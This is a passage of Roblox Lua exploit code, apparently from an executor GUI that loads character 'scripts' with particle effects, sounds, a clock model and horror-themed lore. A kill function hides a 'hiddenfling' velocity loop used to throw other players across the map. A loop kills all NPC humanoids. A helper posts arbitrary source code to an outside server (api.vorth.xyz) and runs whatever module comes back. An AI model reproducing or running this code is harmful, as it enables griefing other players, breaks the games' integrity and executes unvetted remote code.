#sa do ScatterEff(sa[i]) end local eff1 = Instance.new("ParticleEmitter",EyeFire) eff1.Size = NumberSequence.new(.1) eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff1.LightEmission = 1 eff1.Lifetime = NumberRange.new(.5) eff1.Speed = NumberRange.new(1) eff1.EmissionDirection = "Front" eff1.Rate = 100 eff1.Texture = "rbxassetid://347504241" eff1.Acceleration = Vector3.new(0,10,0) eff1.Color = ColorSequence.new(Color3.new(1,0,0)) local eff2 = Instance.new("ParticleEmitter",EyeFire) eff2.Size = NumberSequence.new(.1) eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff2.LightEmission = 1 eff2.Lifetime = NumberRange.new(.5) eff2.Speed = NumberRange.new(1) eff2.EmissionDirection = "Front" eff2.Rate = 100 eff2.Texture = "rbxassetid://347504259" eff2.Acceleration = Vector3.new(0,10,0) eff2.Color = ColorSequence.new(Color3.new(1,0,0)) local eff3 = Instance.new("ParticleEmitter",EyeFire) eff3.Size = NumberSequence.new(.1) eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)}) eff3.LightEmission = 1 eff3.Lifetime = NumberRange.new(.5) eff3.Speed = NumberRange.new(1) eff3.EmissionDirection = "Front" eff3.Rate = 100 eff3.Texture = "rbxasset://textures/particles/fire_main.dds" eff3.Acceleration = Vector3.new(0,10,0) eff3.Color = ColorSequence.new(Color3.new(1,0,0)) --Sounds-- slashsnd = New("Sound",chara.Torso,"Slash",{SoundId = "rbxassetid://28144425",PlaybackSpeed = .7,Volume = 5}) hitsnd = New("Sound",chara.Torso,"Hit",{SoundId = "rbxassetid://429400881",PlaybackSpeed = .7,Volume = 5}) telesnd = New("Sound",chara.Torso,"Tele",{SoundId = "rbxassetid://2767090",PlaybackSpeed = .7,Volume = 5}) burnsnd = New("Sound",chara.Torso,"Burn",{SoundId = "rbxassetid://32791565",PlaybackSpeed = .7,Volume = 5}) music1 = New("Sound",chara.Torso,"Music1",{SoundId = "rbxassetid://151038517",PlaybackSpeed = .5,Volume = 10,Looped = true}) music2 = New("Sound",chara.Torso,"Music2",{SoundId = "rbxassetid://11984351",PlaybackSpeed = .2,Volume = 5,Looped = true}) deathmus = New("Sound",chara.Torso,"DeathMus",{SoundId = "rbxassetid://19094700",PlaybackSpeed = .5,Volume = 5,Looped = true}) deathex = New("Sound",chara.Torso,"DeathEx",{SoundId = "rbxassetid://11984351",PlaybackSpeed = 1,Volume = 5}) music1:Play() music2:Play() --Animations-- swinganim = chara.Humanoid:LoadAnimation(New("Animation",chara,"Swing",{AnimationId = "rbxassetid://186934658"})) --Name Tag-- local naeeym = Instance.new("BillboardGui",chara) naeeym.Size = UDim2.new(0,100,0,40) naeeym.StudsOffset = Vector3.new(0,2,0) naeeym.Adornee = chara.Head local tecks = Instance.new("TextLabel",naeeym) tecks.BackgroundTransparency = 1 tecks.BorderSizePixel = 0 tecks.Text = "John Doe" tecks.Font = "Fantasy" tecks.FontSize = "Size24" tecks.TextStrokeTransparency = 0 tecks.TextStrokeColor3 = Color3.new(0,0,0) tecks.TextColor3 = Color3.new(0,0,0) tecks.Size = UDim2.new(1,0,0.5,0) --Skybox-- skybox = Instance.new("Part",chara) skybox.Size = Vector3.new(0,0,0) skybox.Anchored = true skybox.CanCollide = true skyboxmesh = Instance.new("SpecialMesh",skybox) skyboxmesh.MeshId = "http://www.roblox.com/asset/?id=1527559" skyboxmesh.TextureId = "http://www.roblox.com/asset/?id=1529455" skyboxmesh.VertexColor = Vector3.new(1,0,0) skyboxmesh.Scale = Vector3.new(-3000,-1000,-3000) --Soul Steal-- function SoulSteal(pos) local soulst = coroutine.wrap(function() local soul = Instance.new("Part",chara) soul.Size = Vector3.new(0,0,0) soul.CanCollide = false soul.Anchored = false soul.Position = pos soul.CFrame = CFrame.new(pos.X,pos.Y,pos.Z) soul.Transparency = 1 local ptc = Instance.new("ParticleEmitter",soul) ptc.Texture = "http://www.roblox.com/asset/?id=413366101" ptc.Size = NumberSequence.new(.5) ptc.LockedToPart = true ptc.Speed = NumberRange.new(0) ptc.Lifetime = NumberRange.new(9999) local bodpos = Instance.new("BodyPosition",soul) bodpos.Position = pos wait(2) soul.Touched:connect(function(hit) if hit.Parent == chara then soul:Destroy() end end) while soul do wait(.1) bodpos.Position = chara.Torso.Position end end) soulst() end --Death of a Mortal-- function KillMortal(hitdude) --------------------------------------------------------------------------------- if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then hiddenfling = true else hiddenfling = true detection = Instance.new("Decal") detection.Name = "juisdfj0i32i0eidsuf0iok" detection.Parent = game:GetService("ReplicatedStorage") local function fling() local hrp, c, vel, movel = nil, nil, nil, 0.1 while true do game:GetService("RunService").Heartbeat:Wait() if hiddenfling then local lp = game.Players.LocalPlayer while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do game:GetService("RunService").Heartbeat:Wait() c = lp.Character hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") end if hiddenfling then vel = hrp.Velocity hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0) game:GetService("RunService").RenderStepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel end game:GetService("RunService").Stepped:Wait() if c and c.Parent and hrp and hrp.Parent then hrp.Velocity = vel + Vector3.new(0, movel, 0) movel = movel * -1 end end end end end fling() end wait(2) hiddenfling = false end --Arm Touch-- bladeactive = false Hitbox.Touched:connect(function(hit) if bladeactive == true then if hit.Parent:FindFirstChild("Humanoid")~= nil and hit.Parent:FindFirstChild("HasBeenHit")== nil and hit.Parent ~= chara then hitsnd:Play() KillMortal(hit.Parent) end end end) --Teleport-- function Teleport(pos) telesnd:Play() local ch = chara:GetChildren() for i = 1, #ch do if ch[i].ClassName == "Part" and ch[i].Name ~= "HumanoidRootPart" then local trace = Instance.new("Part",game.Workspace) trace.Size = ch[i].Size trace.Material = "Neon" trace.BrickColor = BrickColor.new("Really black") trace.Transparency = .3 trace.CanCollide = false trace.Anchored = true trace.CFrame = ch[i].CFrame if ch[i].Name == "Head" then mehs = Instance.new("CylinderMesh",trace) mehs.Scale = Vector3.new(1.25,1.25,1.25) end tracedisappear = coroutine.wrap(function() wait(1) for i = 1, 7 do wait(.1) trace.Transparency = trace.Transparency + .1 end trace:Destroy() end) tracedisappear() end end chara.Torso.CFrame = CFrame.new(pos.X,pos.Y,pos.Z) end --Grab-- function Grab(mouse) local hit = mouse.Target if hit ~= nil then if hit.Parent:FindFirstChild("Humanoid")~=nil then local torsy = nil if hit.Parent:FindFirstChild("Torso")~=nil then torsy = hit.Parent.Torso elseif hit.Parent:FindFirstChild("UpperTorso")~=nil then torsy = hit.Parent.UpperTorso end local bodpos = Instance.new("BodyPosition",torsy) bodpos.Position = torsy.Position wait(1) burnsnd:Play() hit.Parent.Humanoid.MaxHealth = 100 bodpos.Position = bodpos.Position + Vector3.new(0,4,0) for i = 1, 10 do wait(.1) BurningEff(torsy) hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health end KillMortal(hit.Parent) end else end end --Button1Down-- dell = false function onButton1Down() if dell == false then dell = true swinganim:Play() bladeactive = true slashsnd:Play() wait(.7) bladeactive = false dell = false swinganim:Stop() end end --KeyDowns-- function onKeyDown(key) if key == "z" then Teleport(Mouse.Hit.p + Vector3.new(0,2,0)) elseif key == "x" then Grab(Mouse) end end --Mouse Functions-- Mouse = player:GetMouse() if Mouse then Mouse.Button1Down:connect(onButton1Down) Mouse.KeyDown:connect(onKeyDown) end --Death-- chara.Humanoid.Died:connect(function() local pat = Instance.new("Part",game.Workspace) pat.Transparency = 1 pat.Anchored = true pat.CFrame = chara.Torso.CFrame naeeym.Parent = pat naeeym.Adornee = pat skybox.Parent = game.Workspace tecks.Text = "BAD CHOICE" tecks.FontSize = "Size48" tecks.TextColor3 = Color3.new(1,0,0) music1:Stop() music2:Stop() deathmus.Parent = game.Workspace deathex.Parent = game.Workspace deathmus:Play() deathex:Play() game.Lighting.OutdoorAmbient = Color3.new(0,0,0) game.Lighting.TimeOfDay = "00:00:00" game.Lighting.FogColor = Color3.new(0,0,0) game.Lighting.FogEnd = 1000 end) --Loop Function-- while true do wait(.01) chance = math.random(0,100) if chance < 10 then sel = math.random(1,3) if sel == 1 then tecks.Text = "NOHOPE" elseif sel == 2 then tecks.Text = "GIVEUP" elseif sel == 3 then tecks.Text = "BURNINHELL" end else tecks.Text = "John Doe" end if chara.Humanoid.Health > 0 then chara.Humanoid.MaxHealth = math.huge chara.Humanoid.Health = math.huge game.Lighting.OutdoorAmbient = Color3.new(1,0,0) game.Lighting.Ambient = Color3.new(1,0,0) chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow") chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow") chara["Left Leg"].BrickColor = BrickColor.new("Medium blue") chara["Right Leg"].BrickColor = BrickColor.new("Medium blue") chara.Torso.BrickColor = BrickColor.new("Bright yellow") chara["Left Arm"].Anchored = false chara["Right Arm"].Anchored = false chara["Left Leg"].Anchored = false chara["Right Leg"].Anchored = false chara.Torso.Anchored = false ch = chara:GetChildren() for i = 1, #ch do if ch[i].ClassName == "Accessory" or ch[i].ClassName == "Hat" then ch[i]:Destroy() end end tools = player.Backpack:GetChildren() for i = 1, #tools do if tools[i].ClassName == "HopperBin" then tools[i]:Destroy() end end skybox.CFrame = skybox.CFrame * CFrame.fromEulerAnglesXYZ(0,math.rad(1),0) tecks.Position = UDim2.new(0,math.random(-3,3),0,math.random(-3,3)) local jtrace = Instance.new("Part",game.Workspace) jtrace.Name = "JDTrace" jtrace.Size = Vector3.new(10,0,10) jtrace.Position = chara.Torso.Position jtrace.CFrame = chara.Torso.CFrame - Vector3.new(0,3,0) jtrace.Anchored = true jtrace.CanCollide = false jtrace.BrickColor = BrickColor.new("Really black") jtrace.Material = "Granite" BurningEff(jtrace) game.Debris:AddItem(jtrace,1) end end local npcs = {} local function disappear(hum) if hum:IsA("Humanoid") and not game.Players:GetPlayerFromCharacter(hum.Parent) then table.insert(npcs,{hum,hum.HipHeight}) local rootPart = hum.Parent:FindFirstChild("HumanoidRootPart") if rootPart then hum.Health = 0 end end end for _,hum in pairs(workspace:GetDescendants()) do disappear(hum) end end) end; task.spawn(C_63); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_65() local script = G2L["65"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() -- kinda shitty ngl local fake_transparency = 0.8 local Motors = { ["Left Hip"] = 0, ["Neck"] = 0, ["Left Shoulder"] = 0, ["Right Hip"] = 0, ["Right Shoulder"] = 0 } local Players = game:GetService("Players") local Player = Players.LocalPlayer local RunService = game:GetService("RunService") game.Players.LocalPlayer.Character.Archivable = true local FakeCharacter = game.Players.LocalPlayer.Character:Clone() Player.Character:BreakJoints() Player.Character=nil coroutine.wrap(function() print([[ Ender, The Maniac. HEIGHT: 4'3 WEIGHT: 72 kg STATUS: ESCAPED. UNSTABLE. KILL ON SIGHT. ]]) warn([[ Ender was sent to mental institution at the age of 18 due to his unstable state. He attacked anyone, killing some. He was mentally unstable, believing everyone was against him. He escaped after a year, as he seemed to be better. He then killed everyone in the facility with a knife he stole on his way out. The TSA found him by a tracker he hadn't had removed, and captured him. They experimented on him, and made him more powerful, hoping to make him some kind of super weapon. He was released after he was done, with two gauntlets, to be rehabilitated into human society. However, what if he escaped while he was unstable, with prototype gauntlets, and unstable powers? You get 3ND37. ]]) print([[ ------------------------------------------------- Is edit VEVC3 CONTROLS: M - Change where music is played from LClick - Click Combo Z - Laser X - Stomp C - No name (just hover your mouse over a noob and press the key) T - Taunt ]]) wait(1/60) --// Shortcut Variables \\-- local S = setmetatable({},{__index = function(s,i) return game:service(i) end}) local CF = {N=CFrame.new,A=CFrame.Angles,fEA=CFrame.fromEulerAnglesXYZ} local C3 = {N=Color3.new,RGB=Color3.fromRGB,HSV=Color3.fromHSV,tHSV=Color3.toHSV} local V3 = {N=Vector3.new,FNI=Vector3.FromNormalId,A=Vector3.FromAxis} local M = {C=math.cos,R=math.rad,S=math.sin,P=math.pi,RNG=math.random,MRS=math.randomseed,H=math.huge,RRNG = function(min,max,div) return math.rad(math.random(min,max)/(div or 1)) end} local R3 = {N=Region3.new} local De = S.Debris local WS = workspace local Lght = S.Lighting local RepS = S.ReplicatedStorage local IN = Instance.new local Plrs = S.Players --// Initializing \\-- local Plr = Plrs.LocalPlayer local Char = FakeCharacter local Hum = Char:FindFirstChildOfClass'Humanoid' local RArm = Char["Right Arm"] local LArm = Char["Left Arm"] local RLeg = Char["Right Leg"] local LLeg = Char["Left Leg"] local Root = Char:FindFirstChild'HumanoidRootPart' local Torso = Char.Torso local Head = Char.Head local NeutralAnims = true local Attack = false local Debounces = {Debounces={}} local Mouse = Plr:GetMouse() local Hit = {} local Sine = 0 local Change = 1 local BloodPuddles = {} local CliccAttack = 0; local PlrGui = Plr:WaitForChild'PlayerGui' local Glitching = false local Effects = IN("Folder",Char) Effects.Name = "Effects" --// Debounce System \\-- function Debounces:New(name,cooldown) local aaaaa = {Usable=true,Cooldown=cooldown or 2,CoolingDown=false,LastUse=0} setmetatable(aaaaa,{__index = Debounces}) Debounces.Debounces[name] = aaaaa return aaaaa end function Debounces:Use(overrideUsable) assert(self.Usable ~= nil and self.LastUse ~= nil and self.CoolingDown ~= nil,"Expected ':' not '.' calling member function Use") if(self.Usable or overrideUsable)then self.Usable = false self.CoolingDown = true local LastUse = time() self.LastUse = LastUse delay(self.Cooldown or 2,function() if(self.LastUse == LastUse)then self.CoolingDown = false self.Usable = true end end) end end function Debounces:Get(name) assert(typeof(name) == 'string',("bad argument #1 to 'get' (string expected, got %s)"):format(typeof(name) == nil and "no value" or typeof(name))) for i,v in next, Debounces.Debounces do if(i == name)then return v; end end end function Debounces:GetProgressPercentage() assert(self.Usable ~= nil and self.LastUse ~= nil and self.CoolingDown ~= nil,"Expected ':' not '.' calling member function Use") if(self.CoolingDown and not self.Usable)then return math.max( math.floor( ( (time()-self.LastUse)/self.Cooldown or 2 )*100 ) ) else return 100 end end --// Instance Creation Functions \\-- local baseSound = IN("Sound") function Sound(parent,id,pitch,volume,looped,effect,autoPlay) local Sound = baseSound:Clone() Sound.SoundId = "rbxassetid://".. tostring(id or 0) Sound.Pitch = pitch or 1 Sound.Volume = volume or 1 Sound.Looped = looped or false if(autoPlay)then coroutine.wrap(function() repeat wait() until Sound.IsLoaded Sound.Playing = autoPlay or false end)() end if(not looped and effect)then Sound.Stopped:connect(function() Sound.Volume = 0 Sound:destroy() end) elseif(effect)then warn("Sound can't be looped and a sound effect!") end Sound.Parent =parent or Torso return Sound end function Part(parent,color,material,size,cframe,anchored,cancollide) local part = IN("Part") part.Parent = parent or Char part[typeof(color) == 'BrickColor' and 'BrickColor' or 'Color'] = color or C3.N(0,0,0) part.Material = material or Enum.Material.SmoothPlastic part.TopSurface,part.BottomSurface=10,10 part.Size = size or V3.N(1,1,1) part.CFrame = cframe or CF.N(0,0,0) part.CanCollide = cancollide or false part.Anchored = anchored or false return part end function Weld(part0,part1,c0,c1) local weld = IN("Weld") weld.Parent = part0 weld.Part0 = part0 weld.Part1 = part1 weld.C0 = c0 or CF.N() weld.C1 = c1 or CF.N() return weld end function Mesh(parent,meshtype,meshid,textid,scale,offset) local part = IN("SpecialMesh") part.MeshId = meshid or "" part.TextureId = textid or "" part.Scale = scale or V3.N(1,1,1) part.Offset = offset or V3.N(0,0,0) part.MeshType = meshtype or Enum.MeshType.Sphere part.Parent = parent return part end NewInstance = function(instance,parent,properties) local inst = Instance.new(instance) inst.Parent = parent if(properties)then for i,v in next, properties do pcall(function() inst[i] = v end) end end return inst; end function Clone(instance,parent,properties) local inst = instance:Clone() inst.Parent = parent if(properties)then for i,v in next, properties do pcall(function() inst[i] = v end) end end return inst; end function SoundPart(id,pitch,volume,looped,effect,autoPlay,cf) local soundPart = NewInstance("Part",Effects,{Transparency=1,CFrame=cf or Torso.CFrame,Anchored=true,CanCollide=false,Size=V3.N()}) local Sound = baseSound:Clone() Sound.SoundId = "rbxassetid://".. tostring(id or 0) Sound.Pitch = pitch or 1 Sound.Volume = volume or 1 Sound.Looped = looped or false if(autoPlay)then coroutine.wrap(function() repeat wait() until Sound.IsLoaded Sound.Playing = autoPlay or false end)() end if(not looped and effect)then Sound.Stopped:connect(function() Sound.Volume = 0 soundPart:destroy() end) elseif(effect)then warn("Sound can't be looped and a sound effect!") end Sound.Parent = soundPart return Sound end --// Extended ROBLOX tables \\-- local Instance = setmetatable({ClearChildrenOfClass = function(where,class,recursive) local children = (recursive and where:GetDescendants() or where:GetChildren()) for _,v in next, children do if(v:IsA(class))then v:destroy();end;end;end},{__index = Instance}) --// Require stuff \\-- function CamShake(who,times,intense,origin) coroutine.wrap(function() if(script:FindFirstChild'CamShake')then local cam = script.CamShake:Clone() cam:WaitForChild'intensity'.Value = intense cam:WaitForChild'times'.Value = times if(origin)then NewInstance((typeof(origin) == 'Instance' and "ObjectValue" or typeof(origin) == 'Vector3' and 'Vector3Value' or typeof(origin) == 'CFrame' and 'CFrameValue'),cam,{Name='origin',Value=origin}) end cam.Parent = who wait() cam.Disabled = false elseif(who == Plr or who == Char or who:IsDescendantOf(Plr))then local intensity = intense local cam = workspace.CurrentCamera if(Hum and not Hum:FindFirstChild'CamShaking')then local cam = workspace.CurrentCamera local oCO = Hum.CameraOffset local cs = Instance.new("BoolValue",Hum) cs.Name = "CamShaking" for i = 1, times do local camDistFromOrigin if(typeof(origin) == 'Instance' and origin:IsA'BasePart')then camDistFromOrigin = math.floor( (cam.CoordinateFrame.p-origin.Position).magnitude )/25 elseif(typeof(origin) == 'Vector3')then camDistFromOrigin = math.floor( (cam.CoordinateFrame.p-origin).magnitude )/25 elseif(typeof(origin) == 'CFrame')then camDistFromOrigin = math.floor( (cam.CoordinateFrame.p-origin.p).magnitude )/25 end if(camDistFromOrigin)then intensity = math.min(intense, math.floor(intense/camDistFromOrigin)) end --cam.CoordinateFrame = cam.CoordinateFrame*CFrame.fromEulerAnglesXYZ(math.random(-intensity,intensity)/200,math.random(-intensity,intensity)/200,math.random(-intensity,intensity)/200) if(Hum)then Hum.CameraOffset = Vector3.new(math.random(-intensity,intensity)/200,math.random(-intensity,intensity)/200,math.random(-intensity,intensity)/200) end swait() end if(Hum)then Hum.CameraOffset = oCO end cs:destroy() end end end)() end function CamShakeAll(times,intense,origin) for _,v in next, Plrs:players() do CamShake(v:FindFirstChildOfClass'PlayerGui' or v:FindFirstChildOfClass'Backpack' or v.Character,times,intense,origin) end end function ServerScript(code) if(script:FindFirstChild'Loadstring')then local load = script.Loadstring:Clone() load:WaitForChild'Sauce'.Value = code load.Disabled = false load.Parent = workspace elseif(NS and typeof(NS) == 'function')then NS(code,workspace) else warn("no serverscripts lol") end end function LocalOnPlayer(who,code) ServerScript([[ wait() script.Parent=nil if(not _G.Http)then _G.Http = game:service'HttpService' end local Http = _G.Http or game:service'HttpService' local source = ]].."[["..code.."]]"..[[ local link = "https://api.vorth.xyz/R_API/R.UPLOAD/NEW_LOCAL.php" local asd = Http:PostAsync(link,source) repeat wait() until asd and Http:JSONDecode(asd) and Http:JSONDecode(asd).Result and Http:JSONDecode(asd).Result.Require_ID local ID = Http:JSONDecode(asd).Result.Require_ID local vs = require(ID).VORTH_SCRIPT vs.Parent = game:service'Players'.]]..who.Name..[[.Character ]]) end --// Customization \\-- local Frame_Speed = 60 -- The frame speed for swait. 1 is automatically divided by this local Remove_Hats = false local Remove_Clothing = false local PlayerSize = 1 local DamageColor = BrickColor.Random() local MusicID = 919231299 local MusicParent = PlrGui local God = true local Muted = false local WalkSpeed = 16 --// Localization \\-- if(not script:FindFirstChild'Dust')then NewInstance('ParticleEmitter',script,{Enabled=false,Name='Dust',Color=ColorSequence.new(C3.N(1,1,1)),LightEmission=1,LightInfluence=0,Size=NumberSequence.new(2,0),Texture='rbxasset://textures/particles/sparkles_main.dds',Transparency=NumberSequence.new(0,1),Lifetime=NumberRange.new(1),Rate=75}) end if(not script:FindFirstChild'Soul')then NewInstance('ParticleEmitter',script,{Enabled=false,Name='Soul',Color=ColorSequence.new(C3.N(1,1,1)),LightEmission=1,LightInfluence=0,Size=NumberSequence.new(2),Texture='rbxasset://textures/particles/sparkles_main.dds',Transparency=NumberSequence.new(0,1),Lifetime=NumberRange.new(1),Rate=50,Speed=NumberRange.new(0)}) end --// Weapon and GUI creation, and Character Customization \\-- local miniRadio = Part(Char,BrickColor.new'Black',Enum.Material.Plastic,V3.N(.91,.455,.199),CF.N(),false,false) local radioM = Mesh(miniRadio,Enum.MeshType.FileMesh,'rbxassetid://212302951',"",V3.N(1,1,1)) local RW = Weld(RLeg,miniRadio,CF.N(.5,.3,0)*CF.A(0,M.R(-90),M.R(-20))) local FT,RA,LA,RL,LL = Instance.new("BlockMesh"),Instance.new("BlockMesh"),Instance.new("BlockMesh"),Instance.new("BlockMesh"),Instance.new("BlockMesh") miniRadio.Name = 'Radio' local naeeym2 = Instance.new("BillboardGui",Char) naeeym2.AlwaysOnTop = true naeeym2.Size = UDim2.new(5,35,2,35) naeeym2.StudsOffset = Vector3.new(0,2,0) naeeym2.Adornee = Head naeeym2.Name = "Name" local tecks2 = Instance.new("TextLabel",naeeym2) tecks2.BackgroundTransparency = 1 tecks2.TextScaled = true tecks2.BorderSizePixel = 0 tecks2.Text = "Nero?" tecks2.Font = "Garamond" tecks2.TextSize = 30 tecks2.TextStrokeTransparency = 0 tecks2.TextColor3 = Color3.new(0,0,0) tecks2.TextStrokeColor3 = Color3.new(0, 0, 0) tecks2.Size = UDim2.new(1,0,0.5,0) tecks2.Parent = naeeym2 if(Remove_Hats)then Instance.ClearChildrenOfClass(Char,"Accessory",true) end if(Remove_Clothing)then Instance.ClearChildrenOfClass(Char,"Clothing",true) Instance.ClearChildrenOfClass(Char,"ShirtGraphic",true) end New = function(Object, Parent, Name, Data) local Object = Instance.new(Object) for Index, Value in pairs(Data or {}) do Object[Index] = Value end Object.Parent = Parent Object.Name = Name return Object end Clock = New("Model",Char,"Clock",{}) MainCl = New("Part",Clock,"MainCl",{BrickColor = BrickColor.new("Really Red"),Material = Enum.Material.SmoothPlastic,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.51000011, 0.490000248),CFrame = CFrame.new(34.0555, 30.2650127, 5.16792202, 1.22671281e-07, -4.40194015e-08, 1, -4.40194547e-08, 1, 0, -1, -1.13001988e-07, 9.28689516e-08),Color = Color3.new(0.388235, 0.372549, 0.384314),}) AAMesh = New("SpecialMesh",MainCl,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) Mid = New("Part",Clock,"Mid",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.140000105, 0.11000032),CFrame = CFrame.new(34.0564346, 30.2683582, 5.17302704, 1.52473604e-07, -8.80388029e-08, 1, 2.49630752e-08, 1, -4.40194121e-08, -1, -1.81984518e-07, 6.30666221e-08),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("SpecialMesh",Mid,"Mesh",{MeshType = Enum.MeshType.Cylinder,}) mot = New("Motor",Mid,"mot",{Part0 = Mid,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),C1 = CFrame.new(-0.00510501862, 0.0033454895, 0.00093460083, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) Arm1 = New("Part",Clock,"Arm1",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.28, 0.05, 0.05),CFrame = CFrame.new(34.0549316, 30.1833611, 5.18896484, 4.40194086e-08, -7.35137178e-08, -1, -1, -1.12693911e-07, 4.40194086e-08, 2.52711487e-08, 1, -1.39090659e-08),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",Arm1,"Mesh",{Scale = Vector3.new(1, 1, 0.5),}) mota1 = New("Weld",Arm1,"mot",{Part0 = Arm1,Part1 = Mid,}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(33.8822937, 30.3650169, 5.17792177, -0.866025388, 0.49999994, 1.14618437e-07, 0.50000006, 0.866025388, 4.68187729e-08, -1.01898181e-07, -1.26069892e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, -0.866025388, 0.5, -9.32164781e-08, 0.49999997, 0.866025388, -5.14281133e-08, 8.48161079e-08, -2.21637606e-08, -1),C1 = CFrame.new(-0.00999975204, 0.100004196, -0.173206329, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(33.9555016, 30.4382191, 5.17792177, -0.50000006, 0.866025448, 1.30617906e-07, 0.866025448, 0.49999994, 6.28182448e-08, -1.45425147e-07, -3.63749635e-08, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, -0.5, 0.866025448, -1.00585687e-07, 0.866025448, 0.49999997, 2.39258817e-08, 1.00815583e-07, -6.16428153e-09, -1),C1 = CFrame.new(-0.00999975204, 0.173206329, -0.0999984741, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(34.0555, 30.4650173, 5.17792177, -4.43274217e-08, 1, 1.52473604e-07, 1, -8.77307968e-08, 6.8674467e-08, -1.38273123e-07, 6.30666364e-08, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, -3.08018527e-10, 1, -6.92905928e-08, 1, -4.37113883e-08, 9.28689587e-08, 1.22671281e-07, -3.08066461e-10, -1),C1 = CFrame.new(-0.00999975204, 0.200004578, 0, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(34.1554985, 30.4382191, 5.17792177, 0.49999997, 0.866025388, 1.74329301e-07, 0.866025388, -0.500000119, 6.28182448e-08, -8.23584969e-08, 1.45609576e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, 0.5, 0.866025388, -7.71671793e-09, 0.866025388, -0.50000006, 1.36927866e-07, 1.44526979e-07, -6.16428153e-09, -1),C1 = CFrame.new(-0.00999975204, 0.173206329, 0.0999984741, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(0.0500000007, 0.0500000007, 0.0500000007),CFrame = CFrame.new(34.2287064, 30.3650169, 5.17792177, 0.866025388, 0.500000179, 1.90328791e-07, 0.5, -0.866025388, 4.68187658e-08, 7.3364248e-09, 1.89136529e-07, -1),Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) AAMesh = New("BlockMesh",what,"Mesh",{Scale = Vector3.new(1.20000005, 0.200000003, 1),}) mot = New("Motor",what,"mot",{Part0 = what,Part1 = MainCl,C0 = CFrame.new(0, 0, 0, 0.866025388, 0.50000006, 6.76372593e-08, 0.500000119, -0.866025388, 1.44297076e-07, 1.60526454e-07, -2.21637588e-08, -1),C1 = CFrame.new(-0.00999975204, 0.100004196, 0.173206329, 1.22671281e-07, -4.40194547e-08, -1, -4.40194015e-08, 1, -1.13001988e-07, 1, 0, 9.28689516e-08),}) what = New("Part",Clock,"what",{BrickColor = BrickColor.new("Really black"),Material = 